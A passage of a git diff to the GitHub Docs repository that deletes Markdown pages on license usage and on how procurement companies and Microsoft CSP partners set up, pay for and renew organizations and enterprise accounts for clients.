variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} and sync license usage between the products, you can view license usage for both on {% data variables.product.prodname_ghe_cloud %}. For more information about license sync, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -{% ifversion ghes %} - -For more information about viewing license usage on {% data variables.product.prodname_ghe_cloud %} and identifying when the last license sync occurred, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% endif %} - -You can also use the REST API to return consumed licenses data and the status of the license sync job. See [AUTOTITLE](/enterprise-cloud@latest/rest/enterprise-admin/license). - -To learn more about the license data associated with your enterprise account and how the number of consumed user licenses are calculated, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise). - -## Viewing license usage on {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %} - -{% ifversion ghec %} - -You can view the license usage for your enterprise and download a file with license details. If you're not seeing expected license counts in this report, it's possible that the subscriber’s assigned {% data variables.product.prodname_vs %} subscription email address and {% data variables.product.prodname_dotcom_the_website %} email address aren't exactly the same. For further information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses. - - * If you purchased {% data variables.product.prodname_GH_advanced_security %}, you can review your total license usage. To learn about the information displayed, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage). - -1. To download a CSV report of the license usage, click {% octicon "kebab-horizontal" aria-label="Licensing dropdown" %} to the right of the usage you want to download, then click **{% octicon "download" aria-hidden="true" %} CSV report**. - -{% elsif ghes %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses. - - If you have purchased {% data variables.product.prodname_GH_advanced_security %}, you can review your total licenses used as well as a per-organization breakdown of active committers. See [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise). - -{% endif %} - -{% ifversion ghec %} - -## Viewing the last license sync date - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. To identify when the last license sync occurred, under "Enterprise Server instances", look for timestamps next to usage uploaded or synced events. - * "Server usage uploaded" indicates license usage between environments was manually updated when a {% data variables.product.prodname_ghe_server %} license file was uploaded. - * "{% data variables.product.prodname_github_connect %} server usage synced" indicates license usage between environments was automatically updated. - * "{% data variables.product.prodname_github_connect %} server usage never synced" indicates that {% data variables.product.prodname_github_connect %} is configured, but license usage between environments has never updated successfully. - -{% endif %} diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/index.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/index.md deleted file mode 100644 index 4c8fc1ef9534..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Setting up paid accounts for procurement companies -shortTitle: Paid accounts for procurement companies -intro: 'If you pay for {% data variables.product.github %} on behalf of a client, you can configure their organization or enterprise account and payment settings to optimize convenience and security.' -versions: - fpt: '*' - ghec: '*' -children: - - /setting-up-paid-organizations-for-procurement-companies - - /setting-up-enterprise-accounts-for-procurement-companies ---- - diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/about-enterprise-accounts-for-procurement-companies.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/about-enterprise-accounts-for-procurement-companies.md deleted file mode 100644 index 95e0f94bc964..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/about-enterprise-accounts-for-procurement-companies.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: About enterprise accounts for procurement companies -intro: 'You can create an enterprise account for your client, make a payment on their behalf, then pass ownership of the enterprise account to your client.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Enterprise -shortTitle: About enterprise accounts ---- - -## About enterprise accounts - -An enterprise account allows your client to manage and enforce policies for multiple organizations. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts). - -To access an enterprise account, each member must sign into their own personal account. Enterprise members can have different roles, including owner and billing manager: - -* Owners have complete administrative access to an enterprise. -* Billing managers can only manage billing settings, and cannot access enterprise resources. - -For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -Alternatively, you can set up a single organization for your client. For more information, see [AUTOTITLE](/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies). - -## Payments and pricing for enterprise accounts - -We don't provide quotes for pricing. You can see our published pricing on our [pricing page](https://github.com/pricing). We do not provide discounts for procurement companies or for renewal orders. - -We accept payment in US dollars, although end users may be located anywhere in the world. - -We accept payment by credit card and PayPal. We don't accept payment by purchase order or invoice. - -For easier and more efficient purchasing, we recommend that procurement companies set up yearly billing for their clients' enterprise accounts. diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-an-enterprise-account-as-a-microsoft-csp-partner.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-an-enterprise-account-as-a-microsoft-csp-partner.md deleted file mode 100644 index 56a895bf84f8..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-an-enterprise-account-as-a-microsoft-csp-partner.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Creating an enterprise account as a Microsoft CSP partner -intro: 'Learn how to set up an enterprise account for your customer as a Microsoft Cloud Solution Provider partner.' -versions: - fpt: '*' - ghec: '*' -type: quick_start -topics: - - User account - - Enterprise - - Upgrades -shortTitle: As a Microsoft CSP partner ---- - -As a Microsoft Cloud Solution Provider (CSP) partner, you can create an enterprise account on {% data variables.product.prodname_dotcom %} on behalf of your customer. You can also invite your customer to become an enterprise owner. - -## Requirements - -Before you start, make sure you know: -* The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the enterprise account you create -* The {% data variables.product.prodname_dotcom %} username for the CSP partner that must be assigned to the customer’s enterprise account to manage metered billing and access support -* The name your client would like to use for the enterprise account -* The email address where you would like receipts to be sent - -## Step 1: Create the enterprise account - -As a Microsoft CSP partner, you can get started with {% data variables.product.prodname_enterprise %} from the Microsoft Azure portal. - -1. Sign in to the Microsoft Azure portal. -1. In the search bar, type "{% data variables.product.prodname_dotcom %}" and select **{% data variables.product.prodname_dotcom %}** to go the landing page. -1. Select **Get started with {% data variables.product.prodname_enterprise %}**. -1. Choose an enterprise type. To help you decide which choice is best for the enterprise, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). -1. Complete the form with your client's information. -1. Click **Create your enterprise**. - -## Step 2: Purchase {% data variables.product.prodname_enterprise %} - -At any time during the trial, you can purchase {% data variables.product.prodname_enterprise %} for your client by linking it to their Azure subscription. If the account is later transferred to the customer, ensure the Azure subscription is fully managed by them. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. At the top of the page, in the blue banner, click **Activate Enterprise**. -1. Click **Add Azure subscription**. -1. To sign in to your Microsoft account, follow the prompts. -1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**. - - If you don't see a "Permissions requested" prompt, and instead see a message indicating that you need admin approval, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#message-need-admin-approval). - -1. Under "Select a subscription", select the Azure Subscription ID that you want to connect to your organization. {% data reusables.enterprise-accounts.tenant-app-permissions %} - {% data reusables.enterprise-accounts.connect-azure %} - -1. Click **Activate Enterprise**. - -## Step 3: Invite your client as an enterprise owner - -Invite your client to become an enterprise owner. See [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#inviting-an-enterprise-administrator-to-your-enterprise-account). - -## Step 4: Change your role to billing manager - -Optionally, you can change your role to billing manager to manage the billing for the enterprise account, without having full administrative access. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -{% data reusables.enterprise-accounts.change-role-to-billing-manager %} - -## Contacting support - -As a Microsoft CSP partner, you can use the [{% data variables.contact.github_support %} for Microsoft CSP](https://support.github.com/contact?tags=partner-microsoft-csp) landing page to speak to {% data variables.contact.github_support %}. For more information about creating a support ticket, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-and-paying-for-an-enterprise-account-on-behalf-of-a-client.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-and-paying-for-an-enterprise-account-on-behalf-of-a-client.md deleted file mode 100644 index 03769b40f239..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-and-paying-for-an-enterprise-account-on-behalf-of-a-client.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Creating and paying for an enterprise account on behalf of a client -intro: 'You can create and pay for an enterprise account on {% data variables.product.prodname_dotcom %} on behalf of a client.' -versions: - fpt: '*' - ghec: '*' -type: quick_start -topics: - - User account - - Enterprise - - Upgrades -shortTitle: On behalf of a client ---- - ->[!NOTE] If you are a Microsoft Cloud Solution Provider (CSP) partner and want to create an enterprise account for your customer, see [AUTOTITLE](/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/creating-an-enterprise-account-as-a-microsoft-csp-partner). - -## Requirements - -Before you start, make sure you know: -* The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the enterprise account you create -* The name your client would like to use for the enterprise account -* The email address where you would like receipts to be sent -* The number of paid seats your client would like you to purchase for the enterprise account (see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing)) - -## Step 1: Create your personal account on {% data variables.product.prodname_dotcom %} - -You will use your personal account to set up the enterprise account. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future. - -If you already have a personal account on {% data variables.product.prodname_dotcom %}, skip to [step 2](#step-2-create-the-enterprise-account). - -{% data reusables.billing.create-personal-account %} - -## Step 2: Create the enterprise account - -{% data reusables.enterprise.create-enterprise-account %} -1. Complete the form with your client's information. -1. Click **Create your enterprise**. - -## Step 3: Upgrade the enterprise to a yearly paid subscription - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. At the top of the page, click **Buy Enterprise**. -1. Under "How often do you want to be billed?", select **Pay yearly**. -1. Under "How many seats do you want to include?", type the number of seats your client wants. -1. Under "Payment method", input your payment details. -1. Click **Complete {% data variables.product.prodname_enterprise %} purchase**. - -## Step 4: Invite your client as an enterprise owner - -Invite your client to become an enterprise owner. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#inviting-an-enterprise-administrator-to-your-enterprise-account). - -## Step 5: Change your role to billing manager - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -{% data reusables.enterprise-accounts.change-role-to-billing-manager %} - -## Next steps - -{% ifversion fpt %}1. If you would like your credit card to be removed from the enterprise account so that it's not charged again, contact {% data variables.contact.contact_support %}. -1. {% endif %}When it's time to renew your client's paid subscription, see [AUTOTITLE](/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/renewing-your-clients-enterprise-account). diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/index.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/index.md deleted file mode 100644 index 5fe0aae95241..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Setting up enterprise accounts for procurement companies -shortTitle: Enterprise accounts -intro: 'If you pay for {% data variables.product.github %} on behalf of a client, you can configure their enterprise account and payment settings to optimize convenience and security.' -versions: - fpt: '*' - ghec: '*' -children: - - /about-enterprise-accounts-for-procurement-companies - - /creating-and-paying-for-an-enterprise-account-on-behalf-of-a-client - - /renewing-your-clients-enterprise-account - - /creating-an-enterprise-account-as-a-microsoft-csp-partner ---- diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/renewing-your-clients-enterprise-account.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/renewing-your-clients-enterprise-account.md deleted file mode 100644 index 195fbb13076e..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies/renewing-your-clients-enterprise-account.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Renewing your client's enterprise account -intro: "You can renew your client's enterprise account by adding a payment method." -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Enterprise -shortTitle: Renew ---- - -If your client's enterprise account has a valid payment method on file, their yearly subscription will automatically renew. If not, you can renew the enterprise account by adding a payment method. - -You must be a billing manager to add a payment method. If you're not already a billing manager, ask your client to have an enterprise owner add you. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#inviting-an-enterprise-administrator-to-your-enterprise-account). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.dotcom_billing.update_payment_method %} -{% data reusables.billing.edit-billing-information %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.billing.edit-payment-method %} -{% data reusables.dotcom_billing.enter-payment-info %} diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md deleted file mode 100644 index fa28dc10f739..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: About organizations for procurement companies -intro: 'Businesses use organizations to collaborate on shared projects with multiple owners and administrators. You can create an organization for your client, make a payment on their behalf, then pass ownership of the organization to your client.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies - - /articles/about-organizations-for-resellers - - /articles/about-organizations-for-procurement-companies - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies - - /billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Organizations -shortTitle: About organizations ---- - -## About organizations - -To access an organization, each member must sign into their own personal account. - -Organization members can have different roles, such as _owner_ or _billing manager_: - -* **Owners** have complete administrative access to an organization and its contents. -* **Billing managers** can manage billing settings, and cannot access organization contents. Billing managers are not shown in the list of organization members. - -You can also set up an enterprise account for your client. For more information, see [AUTOTITLE](/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-enterprise-accounts-for-procurement-companies). - -## Payments and pricing for organizations - -We don't provide quotes for organization pricing. You can see our published pricing for [organizations](https://github.com/pricing) and [Git Large File Storage](/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage). We do not provide discounts for procurement companies or for renewal orders. - -We accept payment in US dollars, although end users may be located anywhere in the world. - -We accept payment by credit card and PayPal. We don't accept payment by purchase order or invoice. - -For easier and more efficient purchasing, we recommend that procurement companies set up yearly billing for their clients' organizations. diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md deleted file mode 100644 index 68f430488dbf..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Creating and paying for an organization on behalf of a client -intro: 'You can create and pay for a {% data variables.product.prodname_dotcom %} organization on behalf of a client.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/creating-and-paying-for-an-organization-on-behalf-of-a-client - - /articles/creating-and-paying-for-an-organization-on-behalf-of-a-client - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client - - /billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client -versions: - fpt: '*' - ghec: '*' -type: quick_start -topics: - - User account - - Organizations - - Upgrades -shortTitle: On behalf of a client ---- - -## Requirements - -Before you start, make sure you know: -* The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the organization you create -* The name your client would like to use for the organization -* The email address where you would like receipts to be sent -* The [product](/get-started/learning-about-github/githubs-plans) your client would like to purchase -* The number of [paid seats](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing) your client would like you to purchase for the organization - -## Step 1: Create your personal {% data variables.product.prodname_dotcom %} account - -You will use your personal account to set up the organization. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future. - -If you already have a personal account on {% data variables.product.prodname_dotcom %}, skip to [step 2](#step-2-create-the-organization). - -{% data reusables.billing.create-personal-account %} - -## Step 2: Create the organization - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -{% data reusables.organizations.new-organization %} -1. Under "Choose a plan", click **Choose {% data variables.product.prodname_free_team %}**. You will upgrade the organization in the next step. -{% data reusables.organizations.organization-name %} -1. Under "Contact email", type a contact email address for your client. -{% data reusables.dotcom_billing.owned_by_business %} -1. Click **Next**. - -## Step 3: Upgrade the organization to a yearly paid subscription - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.dotcom_billing.upgrade_org %} -{% data reusables.dotcom_billing.choose_org_plan %} (You can add more seats to the organization in the next step.) -1. Under "Upgrade summary", select **Pay yearly** to pay for the organization yearly. -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.finish_upgrade %} - -## Step 4: Upgrade the number of paid seats in the organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.dotcom_billing.add-seats %} -{% data reusables.dotcom_billing.number-of-seats %} -{% data reusables.dotcom_billing.confirm-add-seats %} - -## Step 5: Invite your client to join the organization - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -1. In the search field, type your client's {% data variables.product.prodname_dotcom %} username and press **Enter**. -1. Select **Owner**, then click **Send invitation**. -1. Your client will receive an email inviting them to the organization. They will need to accept the invitation before you can move on to the next step. - -## Step 6: Transfer organization ownership to your client - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Confirm that your client is listed among the members of the organization and is assigned the owner role. -1. To the right of your username, select the {% octicon "kebab-horizontal" aria-label="Member settings" %} dropdown menu, and click **Manage**. - - ![Screenshot of the member list for an organization. To the right of a member, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/member-manage-access.png) -1. In the left sidebar, click **Remove from organization**. -1. Confirm your choice and click **Remove members**. - -## Next steps - -1. Contact your client and ask them to [add you to the organization as a billing manager](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization). You'll need to be a billing manager for the organization so that you can renew or make changes to your client's subscription in the future. -1. If you would like your organization's credit card to be removed from the organization so that it's not charged again, contact {% data variables.contact.contact_support %}. -1. When it's time to renew your client's paid subscription, see [AUTOTITLE](/articles/renewing-your-client-s-paid-organization). diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/index.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/index.md deleted file mode 100644 index fef8c9bbf9c2..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Setting up paid organizations for procurement companies -shortTitle: Organizations -intro: 'If you pay for {% data variables.product.github %} on behalf of a client, you can configure their organization and payment settings to optimize convenience and security.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies - - /articles/setting-up-and-paying-for-organizations-for-resellers - - /articles/setting-up-and-paying-for-organizations-for-procurement-companies - - /articles/setting-up-paid-organizations-for-procurement-companies - - /billing/setting-up-paid-organizations-for-procurement-companies -versions: - fpt: '*' - ghec: '*' -children: - - /about-organizations-for-procurement-companies - - /creating-and-paying-for-an-organization-on-behalf-of-a-client - - /upgrading-or-downgrading-your-clients-paid-organization - - /renewing-your-clients-paid-organization ---- - diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md deleted file mode 100644 index decfe0319e08..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Renewing your client's paid organization -intro: 'If your client''s organization has a valid payment method on file, their yearly subscription will automatically renew. Billing managers can view and update the organization''s payment method and subscription.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/renewing-your-clients-paid-organization - - /articles/renewing-your-client-s-paid-organization - - /articles/renewing-your-clients-paid-organization - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization - - /billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations -shortTitle: Renewing paid organization ---- -{% data reusables.organizations.reseller-ask-to-become-billing-manager %} - -> [!TIP] -> Billing managers can also [change the organization's number of paid seats](/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization) anytime. - -## Updating your organization's credit card - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.update_payment_method_organization_account %} -1. Under "Payment method", click **New Card**. -![Screenshot of the "Payment method" section. Below some card details, a link, labeled "New Card", is highlighted with an orange outline.](/assets/images/help/billing/billing-new-card-button.png) -{% data reusables.dotcom_billing.enter-payment-info %} diff --git a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md b/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md deleted file mode 100644 index bed74ef07c48..000000000000 --- a/content/billing/setting-up-paid-accounts-for-procurement-companies/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Upgrading or downgrading your client's paid organization -intro: Billing managers can upgrade or downgrade a client's paid organization at any time. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-or-downgrading-your-clients-paid-organization - - /articles/upgrading-or-downgrading-your-client-s-paid-organization - - /articles/upgrading-or-downgrading-your-clients-paid-organization - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization - - /billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Upgrades -shortTitle: Upgrade or downgrade ---- -{% data reusables.organizations.reseller-ask-to-become-billing-manager %} - -> [!TIP] -> * Before you upgrade your client's organization, you can [view or update the payment method on file for the organization](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method). -> * These instructions are for upgrading and downgrading organizations on the _per-seat subscription_. If your client pays for {% data variables.product.github %} using a _legacy per-repository_ plan, you can upgrade or [downgrade](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan) their legacy plan, or [switch their organization to per-seat pricing](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan). - -## Upgrading an organization's number of paid seats - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.add-seats %} -{% data reusables.dotcom_billing.number-of-seats %} -{% data reusables.dotcom_billing.confirm-add-seats %} - -After you add seats, the payment method on file for the organization will be charged a pro-rated amount based on the number of seats you're adding and the amount of time left in your billing cycle. - -## Downgrading an organization's number of paid seats to free - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.downgrade-org-to-free %} -{% data reusables.dotcom_billing.confirm_cancel_org_plan %} diff --git a/content/billing/using-the-billing-platform/about-billing-for-your-enterprise.md b/content/billing/using-the-billing-platform/about-billing-for-your-enterprise.md deleted file mode 100644 index e176d06377f5..000000000000 --- a/content/billing/using-the-billing-platform/about-billing-for-your-enterprise.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: About billing for your enterprise -intro: 'You can view billing information for your enterprise{% ifversion ghec or ghes %} account on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.' -redirect_from: - - /admin/overview/managing-billing-for-your-enterprise - - /enterprise/admin/installation/managing-billing-for-github-enterprise - - /enterprise/admin/overview/managing-billing-for-github-enterprise - - /admin/overview/managing-billing-for-github-enterprise - - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise - - /billing/managing-your-github-billing-settings/about-billing-for-your-enterprise - - /early-access/github/automatically-renew-the-billing-plan-for-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise -shortTitle: Billing for your enterprise ---- - -## About billing for your enterprise - -{% ifversion ghec %} - -When you use an enterprise account on {% data variables.product.prodname_dotcom %}, the enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns. - -If you use {% data variables.product.prodname_ghe_cloud %} with an individual organization and do not yet have an enterprise account, you create an enterprise account and add your organization. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account). - -{% data reusables.billing.usage-based-billing %} - -{% elsif ghes %} - -Each user on {% data variables.location.product_location %} consumes a {% ifversion enterprise-licensing-language %}license{% else %}seat on your license{% endif %}. {% data variables.product.company_short %} bills monthly for the total number of {% ifversion enterprise-licensing-language %}consumed licenses{% else %}seats consumed on your license{% endif %}. - -{% endif %} - -{% ifversion ghec %}For {% data variables.product.prodname_ghe_cloud %} customers with an enterprise account, {% data variables.product.company_short %} bills through your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For invoiced customers, each{% elsif ghes %}For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each{% endif %} invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information about {% ifversion ghes %}licensing, usage, and invoices{% elsif ghec %}usage and invoices{% endif %}, see the following{% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{%- ifversion ghes %} -* [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/about-per-user-pricing) -{%- endif %} -* [Viewing the subscription and usage for your enterprise account]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) -* [Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-the-plan-for-your-github-account/managing-invoices-for-your-enterprise) - -Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise. For more information, see [Roles in an enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise){% ifversion ghec %}.{% elsif ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -{% ifversion ghec %} -{% data reusables.enterprise-accounts.billing-azure-subscription-enterprise-only %} See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). -{% endif %} - -{% ifversion ghes %} -{% data reusables.billing.ghes-with-no-enterprise-account 